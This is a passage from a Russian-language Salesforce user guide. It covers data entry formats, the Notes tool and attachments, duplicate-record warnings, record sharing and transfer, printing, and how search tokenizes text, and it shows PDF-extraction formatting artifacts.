языки, а также некоторые языки с двухбайтовой кодировкой символов (японский,
корейский и китайский).

Чтобы проверить орфографию, нажмите кнопку «Проверить орфографию» при вводе текста.

Рекомендации по вводу валют, дат, времени и номеров телефонов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Чтобы упростить процесс создания и редактирования записей, просмотрите
рекомендации и советы по использованию полей валюты, даты, времени и номера
телефона, доступных во многих записях.

Валюта
В некоторых версиях Salesforceформат и тип валюты, доступные для использования в
полях валюты (например, «План продаж» или «Годовой доход»), определяются
параметромкомпании «Региональная валюта». ВмультивалютныхорганизацияхGroup
Edition, Professional Edition, Enterprise Edition, Unlimited Edition и Performance Edition формати тип валютыопределяютсяполем
«Валюта» создаваемой или редактируемой записи.

Совет: Привводеденежныхсумм (илилюбогодругоготипачисел) тысячи, миллионыимиллиардымогут заменяться
аббревиатурами k, m и b соответственно. Например, введенное значение «50k» отображается как «50 000».
Обратите внимание, что данные аббревиатуры не поддерживаются критериямифильтрации.

Даты и время
Многие поля позволяют вводить дату и время в формате, выбранном в личном параметре «Регион».

При вводе даты нужная дата может быть выбрана в календаре или введена вручную.

Разрешается использовать только даты, соответствующие выбранному диапазону. Допустимая начальная дата:
1700-01-01T00:00:00Z GMT илипервые секунды 1 января 1700 года. Допустимая конечная дата: 4000-12-31T00:00:00Z GMT или
первые секунды 31 декабря 4000 года. Данные значения смещаются согласно часовому поясу пользователя. Например,
допустимая начальная дата по тихоокеанскому времени: 1699-12-31T16:00:00 или 16:00 31 декабря 1699 года.

175

Проверка орфографииОсновы Salesforce



Совет:

• Годаотображаютсяисохраняютсявчетырехзначномформате. ПривводепоследнихдвухцифрсистемаSalesforce
добавляетпервыедвецифрыавтоматически. Значения 60—99 относятся к 20 веку (например, 1964), а значения
00—59 относятся к 21 веку (например, 2012).

• При вводе месяца и дня (например, 01/15) система Salesforce автоматически добавляет текущий год.

• При использовании английского языка система Salesforce определяет дату автоматически посредством ввода
слов Yesterday, Today и Tomorrow или любого дня недели. Дни недели (например, понедельник) всегда
относятся к следующей неделе.

Номера телефонов
Привводеномеров телефоновсистема Salesforce сохраняетформат, выбранныйпользователем. Еслипараметр «Регион»
содержит значение «Английский (США)» или «Английский (Канада)», то 10- и 11-значные номера телефонов,
начинающиесяс единицы, автоматическииспользуютследующийформатприсохранениизаписи: (800) 555-1212.

Совет:

• Чтобыотменитьформатирование 10- или 11-значногономерателефонапосредствомскобок, пробелаидефиса
(например, (800) 555-1212), введите символ «+» перед номером телефона. Например: +49 8178 94
07-0.

• Если 10- и 11-значные номера телефонов используют автоматическийформат Salesforce, то введенные условия
фильтра должны быть дополнены скобками. Например: «Номер телефона начинается на (415)».

Выбор значений раскрывающегося списка
Система Salesforce поддерживает разные типы полей раскрывающегося списка.

• Стандартные раскрывающиеся списки. Чтобы выбрать одно значение, щелкните стрелку вниз.

• Раскрывающиеся списки со множественным выбором. Чтобы добавить значение в выбранное прокручиваемое поле
справа, дваждыщелкните любое доступное значение в прокручиваемом поле слева. Выберите как минимум одно
значение. Чтобывыбратьдиапазонзначений, щелкнитепервоезначение, нажмитеклавишу SHIFT ищелкнитепоследнее
значение диапазона. Чтобы добавить выбранные значения в нужное поле, щелкните стрелку.

• Зависимые и управляющие раскрывающиеся списки взаимосвязаны. Значение, выбранное в управляющем
раскрывающемся списке, влияет на значения, доступные в зависимом раскрывающемся списке. Управляющие и
зависимые раскрывающиеся списки обозначаются на страницах редактирования значком . Чтобы просмотреть
имя управляющегоили зависимогораскрывающегося списка, наведите указательмышина соответствующийзначок.
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Примечания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Инструмент «Примечания» — это расширенная версия инструмента создания
примечаний Salesforce, позволяющая пользователям быстрее добавлять более
эффективные примечания. Рекомендуем использовать инструмент «Примечания» для
оптимизации бизнес-процессов, повышения производительности и эффективного
использования системы Salesforce.

Инструмент «Примечания» разработан на основе «Файлов Salesforce», поэтому для
примечанийдоступнобольшинстводействийсфайлами — например, созданиеотчетов
по примечаниям или использование Chatter для предоставления общего доступа.

Дополнительную информацию о действиях с примечаниями см. в видеоролике:
Порядок использования примечаний.

Создание примечаний и их добавление к записям
Воспользуйтесь расширенной версией инструмента «Примечания» для добавления
важных сведений к записям в Salesforce.

Просмотр или восстановление более ранней версии примечания
Можно просматривать более ранние версии примечаний и при необходимости их восстанавливать.

Создание отчета по примечаниям
Отчеты позволяют просматривать и анализировать сведения обо всех примечаниях. Пользователи могут составлять
отчеты только по примечаниям, созданным посредством инструмента «Примечания».

Рекомендации по использованию примечаний в приложении Salesforce1

Ниже представлены советы и рекомендации по использованию примечаний в приложении Salesforce1.

Чем отличается инструмент «Примечания» от устаревшего инструмента создания примечаний?

Инструмент «Примечания» — это расширенная версия исходного инструмента создания примечаний Salesforce.
Благодаря его набору функций вы сможете быстрее вносить примечания и повысить эффективность работы.

Создание примечаний и их добавление к записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Воспользуйтесь расширенной версией инструмента «Примечания» для добавления
важных сведений к записям в Salesforce.

Прим.: Если вы используете старую версию инструмента, попросите
администратора установить расширенную версию «Примечаний».

Создание примечаний и их добавление к записям в Salesforce Classic

Воспользуйтесь расширенной версией инструмента «Примечания» для добавления
важныхсведенийв записи Salesforce, чтобыулучшитьорганизациюиэффективность
труда.

Создание примечаний и добавление их к записям в приложении Salesforce Lightning
Experience

С помощью примечаний пользователи могут добавлять в записи важные сведения
и лучше организовывать работу.

177

ПримечанияОсновы Salesforce

http://salesforce.vidyard.com/watch/Mi5ijFfry7pSO5WH0xHOOg


Создание примечаний и их добавление к записям в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Воспользуйтесь расширенной версией инструмента «Примечания» для добавления
важных сведений в записи Salesforce, чтобы улучшить организацию и эффективность
труда.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

1. Щелкните пункт «Создать примечание» в связанном списке примечаний записи.
Длясозданияотдельногопримечания, несвязанногос записью, перейдитена вкладку
«Файлы» ищелкните любой из фильтров примечаний, чтобы отобразить пункт
«Создать примечание».

2. Введите заголовок и основной текст.

3. Сохраните примечание.
Примечания, добавленные с помощью расширенной версии инструмента, отображаются в связанном списке
«Примечания». Примечания, добавленныеспомощьюстаройверсии, отображаютсяв связанномсписке «Примечания
и вложения».

СМ. ТАКЖЕ:

Рекомендации по использованию примечаний в приложении Salesforce1

Чем отличается инструмент «Примечания» от устаревшего инструмента создания примечаний?

Создание примечаний и добавление их к записям в приложении Salesforce Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

С помощью примечаний пользователи могут добавлять в записи важные сведения и
лучше организовывать работу.

Прим.: Выполнитеследующиедействияв Lightning Experience. Еслислеванаходится
панельнавигации, выв Lightning Experience. Есливверху экранаимеетсяряд вкладок,
вы находитесь в Salesforce Classic.

1. Щелкните пункт «Создать» в связанном списке примечаний записи. Кроме того,
для созданияпримечания, связанногос другой записьюилине связанногос записью,
можнощелкнуть значок «Глобальныедействия» ивыбрать «Создатьпримечание».

2. Введите заголовок и основной текст. В примечание можно добавить изображения.

3. При необходимости свяжите примечание с другими записями.
Примечания, добавленные с помощью расширенной версии инструмента,
отображаются в связанном списке «Примечания». Примечания, добавленные с
помощью старой версии, отображаются в связанном списке «Примечания и вложения».

СМ. ТАКЖЕ:

Рекомендации по использованию примечаний в приложении Salesforce1

Чем отличается инструмент «Примечания» от устаревшего инструмента создания примечаний?
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Просмотр или восстановление более ранней версии примечания

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Можно просматривать более ранние версии примечаний и при необходимости их
восстанавливать.

Прим.: Выполнитеследующиедействияв Lightning Experience. Еслислеванаходится
панельнавигации, выв Lightning Experience. Есливверху экранаимеетсяряд вкладок,
вы находитесь в Salesforce Classic.

1. Щелкните заголовок примечания в связанном списке примечаний записи.

2. В окне примечания нажмите значок .

3. Выберите из списка версию примечания, которое нужно просмотреть.

4. Для восстановления выбранной версии примечания нажмите «Восстановить».

Создание отчета по примечаниям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Отчеты позволяют просматривать и анализировать сведения обо всех примечаниях.
Пользователимогут составлятьотчетытолькопопримечаниям, созданнымпосредством
инструмента «Примечания».

1. Обязательно ознакомьтесь со стандартными отчетами и способами их настройки.

2. Создайте новый отчет со следующими критериями:

Отчет по файлам и содержимомуТип отчета

Имя файла

Дата публикации

Создано

Дата последнего пересмотра

Последний пересмотр выполнен

Тип файла

Поля

Тип файла равно SNOTEФильтры

3. Обязательно сохраните отчет для возможности его использования позднее.

4. Чтобысделать отчет общедоступным, создайтепапкуипоместите в нее отчет. Затем
настройте параметры общего доступа к папке, добавив пользователей и группы.

СМ. ТАКЖЕ:

Примечания

Создание отчета
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Рекомендации по использованию примечаний в приложении Salesforce1

ВЕРСИИ

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже представлены советы и рекомендации по использованию примечаний в
приложении Salesforce1.

Посмотреть видеоролик: How to Use Notes

Чтобынастроитьинструмент «Примечания», обратитеськ администраторуорганизации.
После этого вы сможете использовать примечания в Salesforce1. Ниже перечислены
некоторые рекомендации.

• Создание примечаний путем касания значка на панели действий.

• Добавление маркированных и нумерованных списков в примечания посредством
значков на панели инструментов «Примечания».

• Пакетноесвязываниепримечанийс записямипутемкасанияпараметра «Связатьзаписи». Чтобыизменитьсвязанные
записи, коснитесь имен связанных записей (3).

• Созданиезадачипутемпроведенияпальцапострокепримечания. Принеобходимостикоснитесьстрокииливыделите
некоторый текст и коснитесь значка на панели инструментов.

• Обработка связанных задач прямо из примечания.

• Просмотрипоиск всехпримечанийпутем выборапункта «Примечания» вменюнавигацииприложения Salesforce1.

• После добавления связанного списка «Примечания» в макет страницы объекта становятся доступны следующие
действия:

– быстрыйдоступк связаннымпримечаниямнепосредственноиз записей (вместопереключениявменюнавигации,
чтобы открыть примечание);

– создание примечаний из связанного списка.

Чем отличается инструмент «Примечания» от устаревшего инструмента создания
примечаний?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Инструмент «Примечания» — эторасширеннаяверсияисходногоинструментасоздания
примечаний Salesforce. Благодаря его набору функций вы сможете быстрее вносить
примечания и повысить эффективность работы.

Инструмент «Примечания» и устаревший инструмент создания
примечаний

Устаревший инструмент
создания примечаний

ПримечанияФункция

Добавление примечаний в
записи

Использование связанного
списка «Примечания» для
управления примечаниями

Использование связанного
списка «Примечания и
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Устаревший инструмент создания
примечаний

ПримечанияФункция

вложения» для управления
примечаниями

 (только приложение Lightning
Experience)

Автоматическое сохранение
примечаний

Проверка орфографии

Добавление личных примечаний в
записи

Создание частных независимых
примечаний (без связывания с
записями)

 (только приложения Lightning
Experience и Salesforce1)

Пакетное связывание примечаний с
записями

Использование формата
обогащенного текста, включая
маркированные и нумерованные
списки

Поиск только примечаний в Salesforce

 (только приложение Salesforce1)Создание задач из примечаний

Создание отчета по примечаниям

 (только приложение Lightning
Experience)

Добавление изображений в
примечание

 (только приложение Lightning
Experience)

Просмотр или восстановление более
ранней версии примечания

СМ. ТАКЖЕ:

Рекомендации по использованию примечаний в приложении Salesforce1

Создание примечаний и их добавление к записям

Примечания
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Рекомендациипо управлениюфайлами и примечаниями, прикрепленными
к записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Примечания и вложения
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Документы Google
доступны во всех версиях.

При работе с вложениями, документами Google и примечаниями, созданными в старой
версии средства, следует помнить следующее.

• ЕсливорганизациивключенаподдержкаChatter, тофайлы, опубликованныевленту
записи, добавляютсяв связанныйсписок записи «Примечанияивложения» в качестве
вложений ленты. Связанный список «Примечания и вложения» поддерживает
предварительный просмотр (при наличии такой возможности), загрузку и удаление
вложений ленты, но не поддерживает их редактирование.

• Редактирование примечания или вложения доступно только при наличии
полномочия на редактирование связанной записи.

• Удаление примечания или вложения доступно только ответственному или
администратору сполномочием «Изменениевсех данных». Обратите внимание, что
ответственностьопределяетсяпополюответственного. Ответственностьзавложение
определяется по полю «Создано».

• Ответственные за запись могут удалять вложения, прикрепленные к записям, даже
если вложения были добавлены другим пользователем.

• Пользователи портала могут загружать вложения, но не могут редактировать, удалять или открывать их для
предварительного просмотра.

• Примечания и вложения, помеченныефлажком «Личный», доступны только администраторами соответствующим
авторам. Просмотр личных примечаний и вложений доступен администраторам только при наличии полномочия
«Просмотр всех данных», а их редактирование или удаление — при наличии полномочия «Изменение всех данных».

• Если организация использует службу «Добавление документов Google в систему Salesforce», то связанный список
«Примечания и вложения» называется «Документы Google, примечания и вложения». Связанный список «Вложения»
называется «Документы Google и вложения».

• Страница сведений о записи позволяет просматривать только те документы Google, которые доступны аккаунту
пользователя в Google Apps.

• ФайлыSalesforce CRM Content, опубликованныевлентеChatterдлязаписи, добавляютсявсвязанныйсписок «Примечания
и вложения». Однакофайлы Salesforce CRM Content, которые существуют только в приложении Salesforce CRM Content,
не добавляются в связанный список «Примечания и вложения». Если в организации включена поддержка Salesforce
CRM Content, связанныйсписок «Связанноесодержимое» можетбытьдобавленна страницысведенийоборганизациях,
контактах, интересах, возможностях, обращениях, продуктах и настраиваемых объектах.

• Припубликациипримечанийдля внешнихконтактовпосредствомфункции Salesforce to Salesforce всеобщедоступные
примечания автоматическистановятсядоступнымидляподключенияприсовместномиспользованииродительского
объекта. Общий доступ к вложениям предоставляется автоматически при установке флажка «Общий доступ с
подключениями» для вложения. Чтобы отменить общий доступ к примечанию или вложению, установите флажок
«Личное».

• Некоторые файлы недоступны для предварительного просмотра (например, зашифрованные файлы; файлы,
защищенные паролем; PDF-документы, защищенные от копирования; неизвестные типыфайлов и файлы размером
более 25 Мб). Для этих файлов параметр «Предварительный просмотр» недоступен в лентах и списковых
представлениях. Файлы, просмотр которых невозможен, отмечены в ленте значками групповых файлов. Некоторые
функции Microsoft Office 2007 отображаютсянекорректноприпредварительномпросмотре.Еслифайлподдерживает
предварительный просмотр, но предварительный просмотр не существует, обратитесь к администратору Salesforce,
который поможет восстановить предварительный просмотр.
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• Все примечания и вложения, добавленные в контакты и возможности, также сводятся в связанной организации.

СМ. ТАКЖЕ:

Примечания

Создание примечаний и их добавление к записям

Рекомендации по использованию примечаний в приложении Salesforce1

Вопросышифрования платформы

Поля примечаний и вложений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Инструмент «Примечания» — эторасширеннаяверсияисходногоинструментасоздания
примечаний Salesforce. Данная таблица содержит поля, доступные при создании
примечанияпосредствоминструмента «Примечания». Чтобыдобавитьмаркированные
инумерованныеспискивпримечания, воспользуйтесьзначкаминапанелиинструментов.

Поля для примечаний

Прим.: Приложения Salesforce1 и Lightning Experience поддерживают
дополнительные поля для пакетного связывания записей с примечаниями.

ОписаниеПоле

Текст примечания. Данное поле может
содержать не более 50 Мб данных.

Текст

Тема примечания. Максимальная длина
может составлять не более 200 символов.

Заголовок

Поля для устаревшего инструмента создания примечаний

ОписаниеПоле

Текстпримечания. Данноеполеможет содержатьне более
32 Кб данных.

Текст

Флажок, указывающийнадоступностьпримечаниятолько
ответственному и администраторам. Просмотр личных

Личное

примечаний доступен администраторам только при
наличии полномочия «Просмотр всех данных», а их
редактирование — приналичииполномочия «Изменение
всех данных».

Краткоеописаниепримечания. Максимальнаядлинаможет
составлять не более 80 символов.

Заголовок
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Поля для вложений

Поля вложений

ОписаниеПоле

Описание загруженного файла.Описание

Имя загруженного файла.Имя файла

Флажок, указывающий на доступность вложения только
ответственному и администраторам. Просмотр личных

Личный

вложенийдоступенадминистраторамтолькоприналичии
полномочия «Просмотр всех данных», а их
редактирование — приналичииполномочия «Изменение
всех данных».

Флажок, указывающий на доступность вложения
подключениям при предоставлении общего доступа к

Общий доступ с подключениями

родительскойзаписи. Данныйфлажокотображаетсятолько
приусловиииспользованияфункции Salesforce to Salesforce,
предоставления общего доступа к родительской записи и
назначения вложению статуса общедоступного.

Размер загруженного файла.Размер
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Удаление примечаний и вложений из записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления примечания
или вложения:
• Ответственный за

родительскую запись

ИЛИ

«Редактирование» или
«Удаление» для типа
родительской записи

ИЛИ

«Изменение всех
данных»

Чтобыудалитьпримечаниеиливложение, щелкните ссылку «Удал.»напротивнужного
примечания или вложения в связанном списке записи «Примечания и вложения» или
«Вложения».

Удаленные примечания и вложения могут быть восстановлены из корзины.

Чтобы удалить файл, вложенный из ленты Chatter, щелкните ссылку «Удал.» напротив
нужного вложения ленты. В этом случае файл удаляется из всех лент Chatter, где он был
доступен для совместного использования, а также из связанного списка «Примечания и
вложения». Чтобы восстановить файл, щелкните ссылку «Корзина», выберите нужный
файлинажмите кнопку «Восстановить». ЕслифайлдобавленизлентыChatter, группы,
библиотеки Salesforce CRM Content или персонального компьютера, то удаление файла
из связанногосписка «Примечанияивложения» инициируетего удалениеиз сообщения,
но не из источника.

СМ. ТАКЖЕ:

Создание примечаний и их добавление к записям

Рекомендациипоуправлениюфайламиипримечаниями, прикрепленнымикзаписям

Почему сохраняемая запись помечается как повтор? Что делать?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Организация использует повторяющиеся правила, препятствующие созданию
повторяющихсязаписей. Чтобыопределитьдальнейшиедействия, прочтитесообщение.

Ниже приведен пример страницы, отображаемой при попытке сохранения записи,
помеченной как возможный повтор.
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1. Создаваемоесистемойсообщение, отображающееобнаруженноеколичествовозможныхповторов. Данноеколичество
охватывает толькодоступные записи. Есливсе записи, помеченныекак возможныеповторы, являютсянедоступными,
то данное сообщение отображается без количества, но содержит список ответственных за записи, позволяющий
отправлять запросы на получение доступа к текущим повторам.

2. Настраиваемое предупреждение, созданное автором повторяющегося правила. По возможности предупреждение
должно содержать причину неудачного сохранения записи и рекомендуемые действия.

3. Кнопка«Сохранить (Пропуститьпредупреждение)», приусловии, чтоповторяющеесяправилопозволяетсохранять
запись, которая может быть повтором. Если повторяющееся правило препятствует сохранению записи, которая
можетбытьповтором, токнопка «Сохранить»отображается, нозаписьможетбыть сохранена толькопосле внесения
соответствующих изменений.

4. Список возможных повторов, содержащий только доступные записи. Данный список отображает только доступные
поля (не более 7 первых полей, использованных для сопоставления). Данный список отображает не более 5 записей.
Чтобы просмотреть полный список повторяющихся записей (не более 100), щелкните ссылку «Показать все >>».
Записи отображаются по дате последнего изменения. Чтобы открыть страницу записи, щелкните соответствующую
ссылку в списке.

5. Выделенные поля, то есть поля, использованные для сопоставления.

Какие форматы следует использовать в приложении Salesforce для отображения дат, времени и имен?

Как предоставить только определенным пользователям доступ к данным?

Может ли отдельный пользователь контролировать общий доступ к собственным записям?

Можно ли переносить записи другим пользователям?

Как напечатать записи Salesforce?
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Какиеформаты следует использовать в приложении Salesforce для отображения дат,
времени и имен?
Формат, используемый приложением Salesforce для отображения дат, времени и имен пользователей, определяется
параметром «Регион».

Чтобыпросмотретьформат датыи времени, используемыйпараметром «Регион», выполните указанныенижедействия.

1. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск»,
затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите строку «Личные сведения»
в поле «Быстрый поиск» и выберите пункт «Личные сведения».

2. Просмотрите формат даты и времени в поле «Создано», которое доступно только для чтения. Данныйформат
используется для ввода дат и времени в поля Salesforce.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Как предоставить только определенным пользователям доступ к данным?
Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют
администраторам организаций, использующих модель общего доступа «Личный» или «Общедоступный: только для
чтения», предоставлять определенным пользователям доступ к данным. Администратор может создать общедоступные
группы и настроить правила общего доступа, согласно которым пользователи определенной группы или роли могут
предоставлять доступ к своим данным пользователям другой роли или общедоступной группы. Кроме того, отдельные
пользователимогут создаватьперсональные группыдляпредоставлениядоступа к собственныморганизациям, контактам
и возможностям.

Может ли отдельный пользователь контролировать общий доступ к собственным
записям?
Да. Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition предоставляют всем
ответственнымза организациивозможность дальнейшегорасширенияобщего доступа к организациям. Например, если
модели общего доступа к организации задано значение «Личный», то ответственный за организацию Acme может
предоставить выбранным группам или отдельнымпользователям доступ к этой организации и связанным с ней данным.

Кроме того, версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют ответственным за
возможности расширять общий доступ к отдельным возможностям отдельно от общего доступа к организациям.

Предоставлениеобщегодоступакорганизациям, интересам, обращениямивозможностямпозволяетрасширитьтекущий
уровень доступа к данным; стандартные уровни доступа организации не могут быть дополнительно ограничены.

Данный тип общего доступа предоставляется вручную путем нажатия кнопки «Общий доступ» на странице сведений
о записи.

Можно ли переносить записи другим пользователям?
Большинство версий позволяют переносить ответственность за записи одним из указанных ниже способов. При
измененииответственного за запись система Salesforce такжепереноситответственность за некоторые связанные записи.
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Перенос ответственности за одну собственную запись
Нажмите кнопку «Изменить ответственного» на странице сведений о записи. Дополнительную информацию см.
в разделах «Изменение ответственности» и «Перенос связанных элементов».

Перенос ответственности за несколько собственных обращений, интересов или записей настраиваемых
объектов

Откройте вкладку нужного объекта и просмотрите списковое представление. Выберите нужные записи и нажмите
кнопку «Изменить ответственного».

Перенос ответственности за несколько записей, принадлежащих другим пользователям
Воспользуйтесьфункциейпакетногопереноса. Дополнительнуюинформациюобиспользованиифункциипакетного
переноса и переносе связанных записей см. в разделе «Пакетный перенос записей».

Перенос ответственности за записи посредством бизнес-правил
Приизмененииответственного за записьпосредствомбизнес-правила система Salesforce неизменяетответственность
за связанные записи.

Как напечатать записи Salesforce?
Чтобы напечатать сведения о записи Salesforce, выполните указанные ниже действия.

1. Щелкните ссылку «Версия для печати», расположенную в правом верхнем углу большинства страниц сведений.
При этом откроется новое окно обозревателя, отображающее запись в готовом для печати формате.

2. Чтобы свернуть или развернуть отдельные разделы версии для печати, щелкните треугольники напротив заголовков
нужных разделов.

3. Чтобы отобразить или скрыть все свертываемые разделы страницы, щелкните «Развернуть все» или «Свернуть
все». Связанные списки (например, список возможностей, связанных с организацией) не являются свертываемыми.

4. Чтобы распечатать страницу, щелкните ссылку «Печать этой страницы» или воспользуйтесь функцией печати,
доступной в обозревателе.

Прим.: Чтобы открыть страницу, содержащуюпечатную версию записи, щелкните значок печати ( ) на вкладке
«Консоль».

Обнаружение информации с помощью функции поиска

ВЕРСИИ

Доступно в версиях: все
версии, кроме
Database.com.

Функция поиска Salesforce дает возможность быстро находить информацию. Поиск
доступен на сайте Salesforce, в мобильном приложении Salesforce1 или в компоненте
поиска, построенном на основе платформы Salesforce.

Как работает функция поиска?
Функция поиска эффективно находит искомые сведения, разбивая ваши условия
поиска и обнаруживая подходящие совпадения в индексе.

Как сведения разбиваются поиском?

При каждом создании записи поисковая система разбивает на части доступную для поиска информацию. Знание
того, как разбивается информация, поможет вам выбрать критерии поиска.
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Различия в поиске между Lightning Experience, Salesforce Classic и Salesforce1

Глобальныйпоиск в полной версии системы Salesforce (будь то Lightning Experience или Salesforce Classic) имобильном
приложении Salesforce1 использует одинаковый поисковый индекс, поэтому поиск всегда ведется по одним и тем же
данным. Пользовательвидитвмгновенныхрезультатаходинитотженаборзаписей, к которымнедавноосуществлялся
доступ. На результаты поиска влияет область поиска (список наиболее часто используемых объектов). Тем не менее,
помните, чтоприложения Salesforce1и Lightning Experienceподдерживаютне все стандартныеобъекты, поэтомуиногда
результатыпоискамогутнемногоразличаться. Кроме того, ихинтерфейс глобальногопоиска такжеможетотличаться
некоторыми визуальными и навигационными различиями.

Как выполнить поиск в полях поиска?
Рекомендуем использовать поиск для связывания двух записей.

Результаты поиска
В большинстве случаев вы быстро найдете искомую запись, просто изучив лучшие результаты, поскольку они
сортируются по степени важности для каждого пользователя. Изучите принцип возврата определенных записей и
поймите, как получать лучшие результаты.

Ограничения для поиска в Salesforce Classic

При использовании глобального поиска, поиска на боковой панели, расширенного поиска, структурированных
запросов, списковых представлений и фильтров применяются некоторые ограничения.

Как работает функция поиска?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com.

Функцияпоиска эффективнонаходитискомыесведения, разбивая вашиусловияпоиска
и обнаруживая подходящие совпадения в индексе.

Посмотрите видеоролик:

Использование поисковых функций

При вводе критерия поиска в поле поиска (1) поисковая система разбивает его на более
мелкие части, которые называются токены (2). Она сопоставляет эти более мелкие
критерии с информацией из записей, которые хранятся в индексе (3), ранжирует
связанные записи по релевантности (4) и возвращает результаты, к которым у вас есть
доступ (5).

Прим.: Доступностьобновленноготекстадляпоискаможет занятьнеменее 15 минутпослесозданияилиобновления
записи объекта, доступного для поиска. Только после сохранения в индексе поиска записи объекта попадают в его
область действия.Поисковая система возвращает только те результаты, к которым у вас есть доступ.
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Дополнительную информацию о ведении поиска см. в этих видеороликах:

Поиск в Salesforce Classic

Search in Salesforce Lightning Experience

Как сведения разбиваются поиском?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

При каждом создании записи поисковая система разбивает на части доступную для
поиска информацию. Знание того, как разбивается информация, поможет вам выбрать
критерии поиска.

При создании или обновлении записи (1) поисковая система разбивает доступный для
поиска текст записинаболеемелкие критерии, которыеназываютсямаркерами (2). Затем
она сохраняет эти маркеры в поисковом индексе (3).При выполнении поиска механизм
поиска разбивает поисковые термины на маркеры для возврата из индекса записей с
совпадающими маркерами.

Ниже приведены некоторые примеры маркеров, созданных на основе представленных сведений о записи. Поисковая
система создает буквенно-цифровые маркеры, если критерии поиска содержат знаки препинания.При необходимости
запись может быть найдена посредством поиска, использующего любой индексированный маркер.
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Индексированные маркерыСведения о записи

acmeAcme, Inc.

inc

web2leadWeb2Lead

web

2

lead

exhibit-xyz1234Exhibit-XYZ1234

exhibitxyz1234

exhibit

xyz1234

xyz

1234

415(415) 999-3434

999-3434

9993434

999

3434

john.smith@domain.comjohn.smith@domain.com

@domain.com

john.smith

john

smith

johnsmith

domain.com

domain

com

domaincom
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Как система поиска обрабатывает критерии на китайском, японском, корейском и тайском языках?

Система поиска находит подходящие результаты на таких азиатских языках, как китайский, японский, корейский и
тайский, путем разбиения информации для сохранения в индексе поиска.

СМ. ТАКЖЕ:

Как работает функция поиска?

Как система поиска обрабатывает критерии на китайском, японском, корейском и
тайском языках?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com.

Системапоисканаходитподходящиерезультатынатакихазиатскихязыках, каккитайский,
японский, корейскийитайский, путемразбиенияинформациидля сохранениявиндексе
поиска.

Поисковаясистемавозвращаетточныерезультатыпоискадлявосточноазиатскихязыков,
не содержащих пробелы между словами, используя морфологическую маркировку.

Рассмотримпроблемуиндексациитермина «ПрефектураТокио»ипоследующегопоиска
по запросу на японском языке.

Поисковый терминИндексированный термин

京都
Киото

東京都
Префектура Токио

Морфологическая разметка разбивает термин ??? (Префектура Токио) на два маркера.

Поисковый терминИндексированный термин

都
Префектура

東京
Токио

Даннаяформаразметки гарантирует, чтопоискпо запросу?? (Киото) возвращает толькорезультаты, содержащиетермин
?? (Киото), но не термин ??? (Префектура Токио).

На китайском, японском, корейском и тайском (КЯКТ) можно найти человека, введя фамилию перед именем. Поиск по
критерию 佐々木律子 возвращает любого человека по фамилии 佐々木 с именем 律子.

192

Как сведения разбиваются поиском?Основы Salesforce



Различия в поиске между Lightning Experience, Salesforce Classic и
Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

Глобальный поиск в полной версии системы Salesforce (будь то Lightning Experience или
Salesforce Classic) имобильномприложенииSalesforce1используетодинаковыйпоисковый
